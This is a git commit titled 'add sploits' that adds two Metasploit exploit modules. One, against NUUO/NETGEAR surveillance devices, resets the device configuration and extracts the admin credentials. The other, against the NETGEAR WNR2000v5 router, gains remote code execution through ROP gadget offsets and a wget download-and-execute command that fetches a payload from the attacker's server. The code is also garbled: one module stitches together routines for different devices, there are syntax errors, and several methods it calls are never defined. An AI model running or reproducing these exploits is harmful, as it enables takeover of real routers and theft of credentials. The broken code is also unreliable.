add sploits
parent
3a9c6626dc
commit
870e8046b5
|
@ -0,0 +1,130 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
|
||||
'Description' => %q{
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2016',
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_password (q1, q2)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/BRS_netgear_success.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.body =~ /var sn="([\w]*)";/
|
||||
serial = $1
|
||||
else
|
||||
puts "[-]Failed to obtain serial number, bailing out..."
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# 1: send serial number
|
||||
res = send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/unauth.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'match_sn',
|
||||
'serial_num' => serial,
|
||||
'continue' => '+Continue+'
|
||||
})
|
||||
|
||||
# 2: send answer to secret questions
|
||||
res = send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'security_question',
|
||||
'answer1' => q1,
|
||||
'answer2' => q2,
|
||||
'continue' => '+Continue+'
|
||||
})
|
||||
|
||||
# 3: PROFIT!!!
|
||||
res = send_request_cgi({
|
||||
'uri' => '/passwordrecovered.cgi',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
||||
password = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
||||
end
|
||||
|
||||
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
||||
username = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Success! Got admin username #{username} and password #{password}")
|
||||
return [username, password]
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
})
|
||||
|
||||
if res && res.code == 401
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'submit' => "Login"
|
||||
}
|
||||
})
|
||||
if res && (res.code == 200 || res.code == 302)
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
|
||||
end
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
})
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
|
||||
print_good("#{peer} - Device has been reset to the default configuration.")
|
||||
else
|
||||
print_error("#{peer} - Failed to reset device.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'time'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 Unauthenticated / Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'NETGEAR WNR2000v5',
|
||||
{
|
||||
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions
|
||||
'System' => 0x547D0,
|
||||
'Gadget' => 0x2462C,
|
||||
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
|
||||
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
|
||||
#LOAD:00024630 move $t9, $s0
|
||||
#LOAD:00024634 jalr $t9
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x25\x26"
|
||||
},
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2016',
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptBoot.new('REBOOT', [true, 'Reboot the router? (the exploit is more reliable with a reboot)', true]),
|
||||
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
|
||||
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
|
||||
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.headers['WWW-Authenticate']
|
||||
auth = res.headers['WWW-Authenticate']
|
||||
if auth =~ /WNR2000v5/
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def uri_encode (str)
|
||||
"%" + str.scan(/.{2}|.+/).join("%")
|
||||
end
|
||||
|
||||
def calc_address (libc_base, offset)
|
||||
addr = (libc_base + offset).to_s(16)
|
||||
uri_encode(addr)
|
||||
end
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
def get_auth_timestamp(mode)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.code == 401
|
||||
# try again, might fail the first time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.code == 200
|
||||
if res.body =~ /timestamp=([0-9]{8})/
|
||||
$1.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("#{peer} - Attempting to exploit #{target.name}")
|
||||
if target == targets[0]
|
||||
send_payload(prepare_shellcode_mips)
|
||||
else
|
||||
downfile = rand_text_alpha(8+rand(8))
|
||||
@pl = generate_payload_exe
|
||||
@elf_sent = false
|
||||
resource_uri = '/' + downfile
|
||||
|
||||
#do not use SSL
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
end
|
||||
|
||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||
srv_host = Rex::Socket.source_address(rhost)
|
||||
else
|
||||
srv_host = datastore['SRVHOST']
|
||||
end
|
||||
|
||||
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||
print_status("#{peer} - Starting up our web service on #{service_url} ...")
|
||||
start_service({'Uri' => {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}})
|
||||
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
print_status("#{peer} - Asking the device to download and execute #{service_url}")
|
||||
|
||||
filename = rand_text_alpha_lower(rand(8) + 2)
|
||||
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
|
||||
|
||||
shellcode = prepare_shellcode_arm(cmd)
|
||||
|
||||
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
|
||||
counter = 0.00
|
||||
while (not @elf_sent)
|
||||
if counter % 50.00 == 0 && counter != 0.00
|
||||
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||
end
|
||||
send_payload(shellcode)
|
||||
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
|
||||
counter += 1
|
||||
end
|
||||
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue